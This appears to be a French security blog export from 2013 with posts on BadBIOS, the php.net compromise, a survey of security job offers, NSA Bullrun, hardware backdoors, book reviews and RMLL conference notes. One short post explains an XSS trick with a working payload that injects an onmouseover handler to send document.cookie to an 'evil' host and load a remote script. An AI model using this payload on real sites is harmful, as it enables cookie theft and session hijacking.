<a href="https://plus.google.com/app/basic/103470457057356043365/posts?cbp=imlk7sx0o27y&sview=1&spath=/app/basic/stream/z13tzhpzvpqyuzv1n23cz52wykrrvjjce">https://plus.google.com/app/basic/103470457057356043365/posts?cbp=imlk7sx0o27y&sview=1&spath=/app/basic/stream/z13tzhpzvpqyuzv1n23cz52wykrrvjjce</a><br />
Et bien évidemment le twitter de dragosr <a href="https://twitter.com/dragosr">https://twitter.com/dragosr</a><br />
<br />
Petit update, sur la faisabilité de transformer une carte son en SDR:<br />
<a href="http://www.scoop.it/t/low-cost-software-defined-radio-sdr-panorama/p/1004093133/saqrx-vlf-receiver-by-sm6lkm-just-a-sound-card-and-that-s-it">http://www.scoop.it/t/low-cost-software-defined-radio-sdr-panorama/p/1004093133/saqrx-vlf-receiver-by-sm6lkm-just-a-sound-card-and-that-s-it</a> (résumé: c'est possible)<br />
Update 01/11/2013 : Toujours au sujet des transmissions, lire <a href="http://blog.erratasec.com/2013/10/badbios-features-explained.html#.UnN58IWA8SQ">http://blog.erratasec.com/2013/10/badbios-features-explained.html#.UnN58IWA8SQ</a><br />
<br />
<br />
Conclusion: un malware hyper résilient, très furtif et caché dans le matériel ça peut faire très mal. L'OS ne peut rien faire (car il est bypassé par la VMM) et il est illusoire de débrancher un PC du réseau car le malware communiquera tout de même.<br />
Cela fait beaucoup de choses. C'est tellement gros qu'on lit sur twitter un certain septiscisme à ce sujet. Un sample d'un BIOS infecté à été envoyé à <a href="http://malware.lu/">malware.lu</a> (j'ai eu la confirmation), mais il n'est pas encore disponible pour analyse.<br />
<br />
2/ php.net<br />
Dans un registre plus léger, <a href="http://php.net/archive/2013.php#id2013-10-24-2">php.net s'est fait corrompre</a>. Une lib js qui embarquait un exploit pack. Que des sites se fassent pirater, on a l'habitude. Mais comment expliquer que php.net se fasse trouer?<br />
<br />
La première explication, c'est qu'un scan auto ait détecté la faille, installé le pack et continué son chemin. Et là, on peut se trouver etonnant que php.net se fasse trouer par un bot. La seconde explication c'est qu'un pirate ait pris le temps de percer php.net. Mais dans ce cas pourquoi mettre un exploit pack détecté par stopbadware? Il est évident que ce site est régulièrement scanné et qu'il allait être vite flaggé malveillant, laissant une fenêtre d'infection très réduite. On peut toujours arguer qu'il s'agit d'un site très visité, permettant d'infecter énormément de machines même si la durée est courte.<br />
C'est peut-être une étude à faire: Vaut il mieux infecter des sites à trafic moyen et laisser l'infection présente longtemps, ou des sites à très fort trafic avec une durée d'infection réduite?<br />
<br />
3/ GreHack<br />
Et enfin, je serais à la <a href="http://grehack.org/en/">GreHack</a> pour les <a href="http://grehack.org/en/2013/index.php/Speakers_Talks/">confs</a> et pour le <a href="http://grehack.org/en/2013/index.php/Capture_The_Flag_rules-english/">CTF</a>. Ce sera mon premier CTF, let's pwn!<br />
<br />
---<br />
[1] Si c'est possible, je veux bien que ça soit open sourcé, ça permettrait de faire du réseau vraiment à pas cher :)Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com6tag:blogger.com,1999:blog-2330984441575997476.post-23331645417655471892013-10-09T17:04:00.000+02:002013-10-10T09:14:05.247+02:001000 offres d'emploi dans la sécurité informatiqueLes <a href="http://www.lesassisesdelasecurite.com/">assises de la sécurité</a> viennent d'avoir lieu et je lisais à ce sujet des commentaires sur <a href="http://www.ssi.gouv.fr/">l'ANSSI</a> qui <a href="http://www.ssi.gouv.fr/fr/anssi/emploi/">recrute </a>à son habitude. Cela a fait écho pour moi à un <a href="http://www.lefigaro.fr/emploi/2013/08/24/09005-20130824ARTFIG00280-les-hackers-cibles-convoitees-des-recruteurs.php">article du figaro sur le recrutement des hackers</a>. On y lit que le recrutement est difficile, que les hackers s'arrachent, et que les demande des recruteurs ne sont pas satisfaites par les personnes en recherche d'emploi.<br />
<br />
<b>1/ Quel est aujourd'hui le marché de l'emploi dans la sécurité informatique?</b><br />
Le meilleur moyen d'y répondre consiste à lire les offres d'emploi visibles. J'ai utilisé un site agrégateur d'offres d'emplois: indeed. J'ai donc téléchargé les 1000 dernières offres d'emploi sur la France entière labellisée "sécurité informatique", termes les plus larges possibles pour remonter le maximum d'offres d'emplois triées par date. Il s'agit donc du marché visible de l'emploi, agrégé depuis plusieurs sources différentes.<br />
Je n'ai pas lu dans le détail les 1000 offres d'emplois. Les résultats dont je parle dans cet article proviennent de recherche en texte brut à l'aide de script basés sur <span style="font-family: Courier New, Courier, monospace;">grep</span> et <span style="font-family: Courier New, Courier, monospace;">wc</span>. Ces résultats sont donc approximatifs, mais permettent de ressortir des points intéressants.<br />
<br />
<br />
<b>2/ Résultats bruts</b><br />
La recherche "sécurité informatique" remonte beaucoup d'annonces liées à la sécurité (pharmaceutique, médicale, BTP, etc..) qui demandent également des connaissances informatiques (Excel, etc..). Sur deux échantillons de 50 offres, j'ai 5 et 6 offres qui n'ont manifestement rien à voir. Cela donne une marge d'erreur de 10% sur les offres d'emplois.<br />
<br />
<b>2/1/ Durée de l'échantillon</b><br />
L'offre la plus ancienne datait de 30 jours. La récupération s'est faite fin septembre, donc le panel est une représentation des offres du mois de septembre 2013.<br />
<br />
<b>2/2/ Géographie des offres</b><br />
Plus de 90% des offres donnent le département d'emploi. Voici une infographie:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeMsu_JCiwx0eNCF2RfHSlmIRmiA2qIeCKCWbIbROHdic1JRt3e4b4nO_dGBP5qB_AcAQM7CeIbKhY-yc-fng5HjmxOQ6IMFdfXa41Nw8HuzAWDj8Lwh4ghix4tbws3TOHg01aWNt6neg/s1600/offres_pa_rdpt-barchart.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeMsu_JCiwx0eNCF2RfHSlmIRmiA2qIeCKCWbIbROHdic1JRt3e4b4nO_dGBP5qB_AcAQM7CeIbKhY-yc-fng5HjmxOQ6IMFdfXa41Nw8HuzAWDj8Lwh4ghix4tbws3TOHg01aWNt6neg/s1600/offres_pa_rdpt-barchart.png" /></a></div>
En abscisse le numéro de département, en ordonnée le nombre d'offres.<br />
Si on additionne les départements 75, 91, 92, 93, 94, 95 on arrive à la somme écrasante de 372 offres, soit plus du tiers total des offres (!!). Le second département en nombre d'offres, Rhône est à 73 offres, 5x moins que la région parisienne, et 3x moins que Paris (208 offres).<br />
<br />
<b>2/3/ Salaires</b><br />
Les salaires sont très peu indiqués dans les annonces. Il n'y a pas non plus d'accesseurs simples pour accéder à leur valeur. Le mot "euros" apparaît dans seulement 80 offres, le caractère € dans moins de 50 (et dans plusieurs d'elles, € sert à indiquer le CA de l'entreprise). <br />
<br />
Ce qu'il en ressort malgré tout, c'est une petite fourchette entre 20-30kE pour des postes de techniciens. Ensuite, une fourchette 30-40kE pour des profils plus ingénieurs, et deux offres à plus de 50kE (50kE et 70kE).<br />
<br />
<b>2/4/ Quelques mots-clés</b><br />
J'ai écrit une fonction qui me donne le nombre d'annonces contenant une ou plusieurs fois un mot-clé. Voici, sur 1000 offres quelques résultats.<br />
Sur le niveau demandé (stag permet d'avoir stage et stagiaire):<br />
<table border="1">
<tbody>
<tr><td><i>mot-clé</i></td><td><i>occurence</i></td></tr>
<tr><td>stag</td><td>97</td></tr>
<tr><td>technicien</td><td>229</td></tr>
<tr><td>ingénieur</td><td>411</td></tr>
<tr><td>expert</td><td>369</td></tr>
<tr><td>rssi</td><td>24</td></tr>
<tr><td>consultant</td><td>109</td></tr>
</tbody></table>
<br />
Sur les compétences (pour le reverse, il faut grepper avec engineering, sinon cela remonte toutes les annonces contenant reverse-proxy):<br />
<table border="1">
<tbody>
<tr><td><i>mot-clé</i></td><td><i>occurence</i></td></tr>
<tr><td>crypto</td><td>31</td></tr>
<tr><td>crack</td><td>0</td></tr>
<tr><td>hack</td><td>3</td></tr>
<tr><td>engineering</td><td>11</td></tr>
<tr><td>malware</td><td>2</td></tr>
<tr><td>offensif</td><td>0</td></tr>
<tr><td>offensiv</td><td>0</td></tr>
<tr><td>pentest</td><td>6</td></tr>
<tr><td>redteam</td><td>0</td></tr>
<tr><td>scada</td><td>2</td></tr>
<tr><td>fuzz</td><td>2</td></tr>
<tr><td>forensic</td><td>3</td></tr>
<tr><td>cybersécurité</td><td>7</td></tr>
<tr><td>cybersecurity</td><td>0</td></tr>
</tbody></table>
<br />
Si on sort seulement 3 annonces du lot des 1000 (!), alors ce tableau devient pratiquement vide.<br />
<br />
<b>2/5/ Les entreprises</b><br />
Il n'y a pas de moyen simple d'accéder aux entreprises qui recrutent. Néanmoins, on retrouve quelques tendances:<br />
Cassidian: les 3 offres dont je parlais ci-dessus, Thales, EADS, anssi et sogeti pour 63 offres. 42 offres labellisées SSII. C'est plutôt varié dans l'ensemble.<br />
<br />
<b>2/6/ Quelques offres "choisies"</b><br />
Une offre intitulée 'expert sécurité' qui cherche quelqu'un pour installer des antivirus sur des postes windows (ça c'est de l'expertise, coco).<br />
Beaucoup de stages dont un qui demande au stagiaire de refondre l'archi sécurité et SI du groupe (rien que ça...).<br />
Une mission de mise en place de firewalls, "brassage et câblage compris"<br />
<br />
<b>3/ En conclusion, peu d'offres intéressantes</b><br />
La conclusion de ce passage en revue des 1000 offres est plutôt déprimante. Je n'ai pas vu beaucoup d'offres de sécurité informatique qui font rêver. On en supprime seulement 3 sur 1000 et il reste une quinzaine d'offres avec des mots-clés potentiellement intéressants.<br />
<br />
Pour le reste, on a une première majorité d'offres est une recherche pour des développeurs, ayant vaguement une compétence sécurité. Une autre grosse majorité d'offres concerne des admins systèmes se voyant ajouter des missions "sécurité" (reverse proxy, VPN, firewall)[1]... Enfin, une troisième majorité qui se contente de demander des certifications (ISO27k, PCI etc..) pour effectuer de la compliance genre PCA/PRA, AMOA, AMOE, etc... (et dans l'écrasante majorité de ces cas, ce sont des SSII). De plus, en dehors de Paris, aucun espoir de travailler dans un domaine innovant. Si je sors Paris + 9[12345] des annonces, alors le tableau de compétences cité plus haut est vide et il ne reste que des offres de SSII et d'administration système.<br />
<br />
Il y a peut-être deux explications. La première vient du fait que je me suis intéressé qu'au marché visible de l'emploi. Je connais des <a href="http://www.synacktiv.fr/fr/societe.html#recrutement">offres</a> qui n'apparaissent pas dans ce panel alors qu'elles existent. La seconde est que les SSII n'hésitent pas à innonder les job-boards, écrasant sans doute en nombre d'autres offres. Et pour le parisiano-centrisme, je sais qu'il existe des pépites innovantes (<a href="http://www.tetrane.com/fr/index.html">Tetrane</a>, <a href="http://www.arkoon.net/">Netasq</a> <span style="font-size: xx-small;">(kikoo mes nouveaux amis ;) )</span>, <a href="http://www.vupen.com/english/">Vupen</a>, quelques sociétés et grands groupes à Sophia, etc..) mais au vu de leur nombre réduit leurs offres sont bien évidemment rares<br />
<br />
Je terminerai en donnant le titre d'un article: <a href="http://cybersecurity-should-be-seen-as-an-occupation-not-a-profession-report-says/">cybersecurity should be seen as an occupation not a profession</a>.<br />
<br />
---<br />
<span style="font-size: x-small;">[1]Cela me rappelle une citation lue dans un MISC 66 <a href="http://exploitability.blogspot.fr/2013/03/tcpip-security-is-boring-second-strike.html">dont j'avais déjà parlé</a> : <i>"Et les gens qui sont la tête dans le guidon n'ont pas forcément le temps de s'en préoccuper, quand il faut déjà faire marcher le réseau pour que le PDG puisse consulter ses mails depuis n'importe où.(...)En attendant, côté réseau, la réponse est toujours la même : empiler des équipements. Et les équipes ne changent pas plus, toujours en sous-effectif, avec de plus en plus de missions à remplir avec de moins en moins de moyens. Et bizarrement, les effets sont toujours les mêmes : les attaques passent.".</i> Les offres reflètent bien cette idée.</span>Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com8tag:blogger.com,1999:blog-2330984441575997476.post-28613484091031794282013-09-26T14:34:00.001+02:002013-09-26T14:35:43.597+02:00XSS, onmouseover et un peu de javascriptJe donne un petit trick que j'aime beaucoup avec du javascript pour faire du XSS.<br />
<br />
Soit une page web avec un input type qui permet d'effectuer une recherche. Cet input est réaffiché sur la page de résultat. Cet input type est de la forme:<br />
<span style="font-family: "Courier New",Courier,monospace;"><input id="search_id" type="text" value="valeur"></span><br />
<br />
Il se trouve que certains caractères sont mal filtrés, comme le " qui permet de fermer la value. Pour un XSS, il suffirait de faire un <script> classique, mais les caractères < et > sont bien filtrés, empêchant d'ouvrir des balises. Mais dans le input, puisque je peux fermer le guillemet de value, je peux alors ajouter d'autres attributs, comme onmouseover="". Et onmouseover permet d'exécuter du javascript.
<br />
Et ma requête devient plus intéressante, (je coupe en plusieurs lignes pour la lisibilité:<br />
<span style="font-family: "Courier New",Courier,monospace;">http://site/query?q=</span><br />
<span style="font-family: "Courier New",Courier,monospace;">valeur"onmouseover="javascript:document.location=</span><br />
<span style="font-family: "Courier New",Courier,monospace;">'http://evil/cookie='.concat(escape(document.cookie))"</span><br />
<br />
Cela me permet de récupérer les cookies dès que l'utilisateur fait passer la souris dans la zone de recherche (qui par chance fait la moitié de l'écran).<br />
Le site http://evil renvoie par un redirect vers la zone de recherche. Récupérer les cookies, c'est toujours intéressant, mais est-il possible de récupérer n'importe quel script js depuis un serveur externe?<br />
<br />
Javascript est mon ami pour le coup, il suffit de modifier la partie javascript (en une seule ligne):<br />
<span style="font-family: "Courier New",Courier,monospace;">var scriptEl = document.createElement('script');</span><br />
<span style="font-family: "Courier New",Courier,monospace;">scriptEl.src = 'http://ha.ckers.org/xss.js';</span><br />
<span style="font-family: "Courier New",Courier,monospace;">document.body.appendChild(scriptEl);</span><br />
<br />
et javascript va ajouter lui-même les balises <script> et </script>.<br />
Nice trick, thx NDE. Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-15558527068039644622013-09-11T22:01:00.001+02:002013-09-11T22:01:24.379+02:00Vous reprendrez bien un peu de bullrun?Chaque révélation de <a href="https://en.wikipedia.org/wiki/Edward_Snowden">Snowden</a> fait ressortir les vieilles antiennes comme quoi internet est cassé, que la NSA sait tout, lit tout, contrôle tout et déchiffre tout, et que plus rien ne sera jamais comme avant (ou pas).<br /><br />On retrouve toujours plus ou moins les mêmes informations, qui semblent toutes tirées des articles <a href="https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html">cités par Schenier sur son blog</a>. Il y eu beaucoup de spéculations par la suite autour des capacités hypothétiques des mathématiciens de la NSA et de leur puissance de calcul.<br />
<br />Ce qui apparaît comme hautement probable, c'est leur monstrueuses capacités d'écoutes et de stockage. A titre d'exemple, je me souviens d'avoir lu sur un blog la retransmission d'un appel d'offre de la NSA qui souhaitait disposer d'une infrastructure égale à celle d'internet pour rejouer et tracer des attaques '<i>at scale</i>' .<br /><br />Mais ceci dit, il n'y a pas grand chose de neuf. La NSA écoute, stocke, déchiffre ce qu'elle peut, ce que tout informaticien un peu versé dans la sécurité connaît (et on peut ajouter que la NSA n'est sûrement pas la seule organisation à écouter, stocker et déchiffrer).<br /><br />Le gros point négatif à noter concerne les capacités de la NSA à influer sur les choix cryptos des logiciels, comme le dit Schneier: "<i>The math is good, but math has no agency. Code has agency, and the code has been subverted.</i>" Il y a trois ans, on avait lu cette histoire (qui avait souvent été qualifiée d'impensable à l'époque): <a href="http://marc.info/?l=openbsd-tech&m=129236621626462&w=2">http://marc.info/?l=openbsd-tech&m=129236621626462&w=2</a> concernant la pile IPsec<br />d'OpenBSD qui avait été affaiblie. On en lit beaucoup d'autres depuis la sortie de Snowden, comme le <a href="https://plus.google.com/117091380454742934025/posts/SDcoemc9V3J">G+ de Theodore Ts'o</a> <br />
<br />
Je trouve malgré tout deux points intéressants à tirer de cette annonce:<br />-Certains procédés cryptos ne sont finalement pas si faibles que ça puisque la NSA cherche à mettre des backdoors malgré leur armée de mathématiciens doublée d'une débauche indécente de force de calcul brute. Ce qui signifie qu'une implémentation solide de ces algos sera réellement solide: moralité, si votre algo a fait l'objet d'un amendement de la NSA pour modifier un paramètre ou ajuster une constante, alors c'est qu'il est sans doute fiable :-) (une fois le paramètre ou la constante NSA-compliant retiré bien entendu)<br />-Je lis beaucoup de réflexions des cryptologues autour des algos de chiffrement: qu'est ce qu'un IV fort, faible, comment s'assurer que le RNG est fiable, comment sont choisis les paramètres des courbes elliptiques, etc.. ce qui ne pourra que profiter à la sécurité générale des communications. Le message sur openBSD avait été l'occasion à l'époque de refaire une passe complète sur la stack IPsec ce qui n'est jamais mauvais.<br />
<br />
Pour la suite, on attend les prochaines révélations. Ca continuera peut-être sur les écoutes, ça partira peut-être sur les APT menés par la NSA. <br />
<br />
---<br />
<span style="font-size: x-small;">A lire, en lien avec le sujet: <a href="http://www.bortzmeyer.org/crypto-protection.html">http://www.bortzmeyer.org/crypto-protection.html</a><a href="http://www.bortzmeyer.org/crypto-protection.html">http://www.bortzmeyer.org/crypto-protection.html</a></span>Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com0tag:blogger.com,1999:blog-2330984441575997476.post-68792458300522294942013-08-28T17:01:00.004+02:002013-08-28T17:01:46.318+02:00Hard: la dernière frontière<br />
Wikipedia indique qu'un <a href="http://fr.wikipedia.org/wiki/Ordinateur">ordinateur</a> <i>est une machine électronique qui fonctionne par la lecture séquentielle d'un ensemble d'instructions qui lui font exécuter des opérations logiques et arithmétiques sur des chiffres binaires.</i><br />
Mais un ordinateur est également un ensemble de composants électroniques reliés entre eux. Parmi les plus courants, nous retrouvons la carte mère, le CPU, la mémoire, le disque dur, la carte réseau, (éventuellement une carte graphique, clavier, souris) etc...<br />
<br />
La sécurité informatique s'intéresse beaucoup aux informations traitées par l'ordinateur afin de garantir un certain niveau de confiance dans celles-ci. Le système d'exploitation et les applications tournant sur une machine sont donc une cible de sécurité importante. Mais l'OS est loin d'être le seul composant qui exécute des instructions. Chaque composant peut être pris comme un sous-système électronique qui traite des informations. Et on constate que tous ces composants sont faillibles.<br />
Imaginez une carte réseau qui ne remonte que certains paquets, mais pas tous au système? Ou bien un disque dur qui cache des données à un filesystem, ou une carte mère qui hooke avant le boot des fonctions? Cela obérerait lourdement le fonctionnement des outils de sécurité.<br />
<br />
Si je reprends la liste de composants donnée plus haut, on peut trouver très facilement pour chacun d'eux des failles (la liste des failles n'est pas exhaustive):<br />
<br />
<ul>
<li>carte mère: <a href="http://2012.hackitoergosum.org/blog/wp-content/uploads/2012/04/HES-2012-jbrossard_fdemetrescu-Hardware-Backdooring-is-pratical.pdf">rakshasa</a> qui indique <i>"hardware backdoring is practical"</i> ou avec <a href="https://www.sstic.org/2013/presentation/uefi_et_bootkits_pci/">l'UEFI</a></li>
<li>carte réseau: <a href="http://www.alchemistowl.org/arrigo/Papers/Arrigo-Triulzi-CANSEC10-Project-Maux-III.pdf">nicssh</a>, ou une conférence <a href="https://www.sstic.org/media/SSTIC2010/SSTIC-actes/Peut_on_faire_confiance_aux_cartes_reseau/SSTIC2010-Article-Peut_on_faire_confiance_aux_cartes_reseau-valadon_duflot_levillain_perez__.pdf">SSTIC 2010</a></li>
<li>disque dur: <a href="http://spritesmods.com/?art=hddhack">hddhack</a></li>
<li>carte graphique (pas de lien dans mes favoris pour celui-là, mais cet équipement est toujours présenté comme étant plus puissant que l'UC centrale )</li>
<li>clavie: un <a href="http://www.blackhat.com/presentations/bh-usa-09/CHEN/BHUSA09-Chen-RevAppleFirm-PAPER.pdf">keylogger dans le firmware d'un clavier apple</a></li>
<li>USB: une <a href="http://www.wired.com/geekdad/wp-content/uploads/2011/09/mouse_guts.jpg">souris malveillante</a> ;) et encore une <a href="https://www.sstic.org/2013/presentation/Attaques_applicatives_via_peripheriques_USB_modifies_infection_virale_et_fuites_d_informations/">conférence au SSTIC</a></li>
<li>CPU: <a href="http://en.wikipedia.org/wiki/Joanna_Rutkowska">Joanna Rutkowska</a> indiquait il y a peu de temps encore qu'elle ne croyait pas aux backdoors dans les CPU. Faut il la croire?</li>
<li>etc..</li>
</ul>
<br />
Lorsqu'en plus, ces composants sont assemblés et pré-installé, quelle<br />
confiance avoir dans le software de sécurité que l'on installe tout au<br />
dessus? Est-ce que le prochain vecteur des APT ou des infections de masse sera t'il celui-ci?<br />
Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com1tag:blogger.com,1999:blog-2330984441575997476.post-55899097623519121612013-08-02T13:26:00.003+02:002013-08-02T13:26:30.681+02:00Lectures d'été - Malwares & Cyber War<br />
J'ai lu deux bons livres[1] qui méritent une revue.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhducaMHFcwW5t62g25vLcVMYZ_TuspOChZqvbiuE4ZvDhAuxMyY39ebuPr8d7sDeSqfnYzXy5lCQc7f0fm5LmkXjm9DMqQPD4KbtrLxpFoTYEyfZNVyoIBKs3l2RbmLC-eDKnTGRHmAnw/s1600/Malwares-PaulRascagneres.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhducaMHFcwW5t62g25vLcVMYZ_TuspOChZqvbiuE4ZvDhAuxMyY39ebuPr8d7sDeSqfnYzXy5lCQc7f0fm5LmkXjm9DMqQPD4KbtrLxpFoTYEyfZNVyoIBKs3l2RbmLC-eDKnTGRHmAnw/s200/Malwares-PaulRascagneres.gif" width="163" /></a></div>
Le premier s'appelle "<i>Malwares - Identification, analyse et éradication</i>" et est écrit par <a href="http://malware.lu/">Paul Rascagnères</a>. Il est présenté comme le premier livre en français traitant de reverse et d'analyse de malwares. Ce livre m'a beaucoup plu. Il est très didactique et contient de très nombreux exemples réels basés sur des malwares récents. Ce livre ne se focalise pas sur un produit ou un langage en particulier et l'auteur n'hésites pas à utiliser et donner des exemples concrets d'outil comme gdb, IDA, malwasm, python, ruby, scapy, etc..<br />
Pour tirer toute la substantifique moëlle de cet ouvrage il est utile d'être à proximité d'une machine et de rejouer les exemples.<br />
Bref, que du bon, du miel à toute les pages, et j'en regrette qu'il soit si court, finalement.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHBI24EqmCGSTupY2Ra6kaoQy_cqZqcWjT0-b_AeJKZSoPUE70mQLTphaWwUBcMSp0oKVE7dnf4xZjlS0mQd-dVLSWj9mDvjfHfWLZxMwydWtrKU4t_X5YEa34FjWXi8bMM0Fnfgtwu64/s1600/Cyber-War-Clarke-Richard.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHBI24EqmCGSTupY2Ra6kaoQy_cqZqcWjT0-b_AeJKZSoPUE70mQLTphaWwUBcMSp0oKVE7dnf4xZjlS0mQd-dVLSWj9mDvjfHfWLZxMwydWtrKU4t_X5YEa34FjWXi8bMM0Fnfgtwu64/s200/Cyber-War-Clarke-Richard.jpg" width="132" /></a></div>
Dans un autre registre, le second est un ouvrage en anglais: "<i>Cyber War - the next threat to national security and what to do about it</i>" de <a href="http://fr.wikipedia.org/wiki/Richard_Clarke">Richard A. Clarke</a> et Robert K. Knake. Ce livre n'est pas du tout technique, fait la part belle au story telling à l'américaine[2] et explique en des mots simples les risques posés par cette fameuse cyberguerre. On attend la page 77 pour trouver le premier terme technique (DNS), et l’Amérique est présentée comme dépendante au cybermonde et mal protégée contre des attaques. Au second degré, la lecture est un peu plus amusante lorsque l'on connaît l'historique de ce monsieur Clarke: Armée, défense, conseil au président, etc..<br />
Donc sans nuire à la qualité de ce livre, cela biaise certains points de vue: les exemples de risques donnés par la cyberguerre sont chinois ou russes (on ne parle pas de Stuxnet sauf en appendice tout à la fin). Les 5 risques intrinsèques d'internet sont: le DNS, BGP, le fait que la majorité soit transmise en clair, la fait qu'il soit possible d'envoyer du malware sur internet sans restrictions, mais aussi qu'internet soit à la base une invention des hippies des annés 70 :D (et ça, je pense que dans l'esprit d'un militaire américain, c'est grave: pas de contrôle central, équivalence des informations etc..).<br />
C'est donc un bon livre non technique qui fourmille d'anecdotes et de cas concrets, qui pose des concepts intéressants d'une manière très accessible (ce qui permet de réviser son anglais).<br />
<div>
<br /></div>
<div>
[1] Pour éviter d'être écouté par PRISM ou XKEYSCORE, il est toujours possible de lire des livres en bon vieux papier!<br />
[2] Cela démarre par "Il était une nuit d'hiver dans la ville de Washington, etc.." et les tournures de phrases ressemblent souvent à de la littérature d'espionnage de roman.</div>
Kevinhttp://www.blogger.com/profile/02931502286392645382noreply@blogger.com2tag:blogger.com,1999:blog-2330984441575997476.post-53124186523744475322013-07-10T12:25:00.000+02:002013-07-10T14:37:43.412+02:00RMLL live blogging - jour 3<a href="http://schedule2013.rmll.info/programme/technique/securite/article/securing-postgresql-from-external">Bruce Momjian - Securing PostgreSQL</a><br />
<br />
Bruce Momjian fait partie du consortium postgreSQL et propose ce talk car il lui a semblé que la sécurisation des bases SQL peuvent être difficiles, alors que cette sécurité est importante. <br />
<br />
La présentation démarre par les vecteurs d'attaques SQL. Concernant postgre, il s'agira des attaques externes, i.e. sans droits d'accès. Les attaques internes ne seront pas couvertes (SQL injection, application vulnerability, OS compromis, permissions etc..).<br />
<br />
La sécurite de postgreSQL débute par le réseau, il est important de ne pas truster tout le monde, ce que fait initdb par défaut (utilisez initdb -A). La connexion par mot de passe est déconseillée, car il est envoyé en clair sur le réseau. L'authentification MD5 est préférable car un salt est envoyé du serveur, et va servir à empêcher un rejeu des credentials de connexion. Côté serveur, les mots de passe sont concaténés au login et hashé MD5. Postgre n'a pas de contremesures spécifiques contre le bruteforce de mots de passe. Les échanges sont ensuite chiffrés pour éviter les écoutes.<br />
<br />
Mais certaines attaques restent possibles. Un scénario utilise un faux serveur écoutant sur le même port que postgre (5432, non privilégié), et attend qu'un client se connecte et lui demande son mot de passe en clair (et non MD5). Ce scénario peut s'améliorer en connectant le faux serveur au vrai et réaliser ainsi un "proxy" malicieux lisant l'ensemble des requêtes/réponses. Une mauvais réponse serait de forcer SSL côté client, mais le serveur malicieux peut l'utiliser car il n'y a pas vraiment de CA qui authentifie ces échanges. Il faut alors forcer l'usage d'une CA (Verify CA dans la conf). L'usage de Verify-full est encore meilleur, car le client vérifie également si le nom du serveur correspond à celui du certificat. Bruce parle ensuite du chiffrement des donnés pour éviter le vol de celles-ci lors du vol physique des disques (ou les bandes de sauvegardes). La première solution est le chiffrement de disque. Mais postgre propose du chiffrement de colonne. Soit réversible, à l'aide d'AES, ou one-way avec MD5 dans les cas ou il suffit de comparer une valeur et non de la lire. (mais le chiffrement peut poser des problèmes de performances dans la recherche ou la création des index). La clé de déchiffrement est stocké sur le serveur (mais qui pose problème en cas de vol physique de serveur). La clé peut également être déportée sur un serveur de déchiffrement, qui va agir comme un proxy pour déchiffrer les colonnes. Enfin, cette clé peut aussi être sur le client, sur le poste ou dans un token hardware ce qui est sans doute la méthode la plus sûre.<br />
<br />
<a href="http://schedule2013.rmll.info/programme/technique/securite/article/cve-search-un-logiciel-libre-der">Alexandre Dulaunoy - CVE search : un logiciel libre de collecte, recherche et analyse des vulnérabilités et expositions logicielles publiées par NIST</a><br />
Alexandre fait partie du CIRCL, un Computer Incident Response Center du Luxembourg. CVE est un bon moyen de vérifier si ses logiciels sont à jour et/ou vulnérable. Mais la recherche à l'intérieur de ces bases ne sont pas simples. L'idée est donc de créer un outil à la manière des outils unix traditionnel qui va permettre de "grepper" facilement ces bases de vulnérabilités. <br />
cve-search a été développé au début par Wim Remes, qui se limitait à prendre la base en XML pour la pousser dans une base de données mongoDB. Les données viennent du NIST, sont parsées et remplissent la base mongoDB. Cette base contient les CVE, les CPE (liste de softs), un ranking et des infos. La base se met à jour deux à trois fois par jour.<br />
Des outils permettent de lire cette base (recherche, liste des dernières vulnérabilite, recherche au travers d'un bot XMPP (si, si) et des recherches full text).<br />
Il est possible de chercher par nom de soft (joomla par exemple), par n° de CVE, ou CPE. CPE est une manière de spécifier l'OS, l'application ou le matériel (ou une combinaison) ciblé par le CVE.<br />
Des exemples de recherches sont donnés. Par exemple, quels sont les éditeurs qui utilisent le plus souvent le mot "unknown" (oracle, puis Sun et HP).<br />
Un autre exemple permet de calculer les moyennes et variations de score CVSS des failles java par exemple.<br />
L'outil permet aussi de pondérer selon ses propres critères des failles, des CVE ou des softs afin de les suivre plus facilement.<br />
<br />
La présentation continue sur l'usage de cve-search. Le logiciel libre peut être utilisé par tout le monde, pour tous les usages, mais est ce qu'un "bad guy" peut utiliser ce soft? Certainement, car cela peut lui simplifier la recherche de vulnérabilités sur un système qu'il cible.<br />
<br />
Malgré tout, le développement de cve-search continue et l'outil restera libre.<br />
<a href="http://schedule2013.rmll.info/programme/technique/securite/article/mise-en-place-d-un-cycle-de"><br /></a>
<a href="http://schedule2013.rmll.info/programme/technique/securite/article/mise-en-place-d-un-cycle-de">Sebastien Deleersnyder - Mise en place d'un cycle de développement sûr avec OWASP</a> <br />
<br />
OWASP introduit une méthode appelé OpenSAMM pour promouvoir le développement sécurisé. Un rappel est donné sur les risques de sécurité et<br />
indique que le software est toujours vulnérable. Une méthode permettant de sécuriser le soft devient de fait intéressante. La sécurité peut être proactive (design, build) ou reactive (test, production). La méthode proactive est meilleure pour réduire la surface d'attaque, mais les tests et scan de vulnérabilités restent nécessaire.<br />
L'OWASP propose un modèle de dévloppement prenant ces points en compte, ainsi qu'une méthode pour l'appliquer.<br />
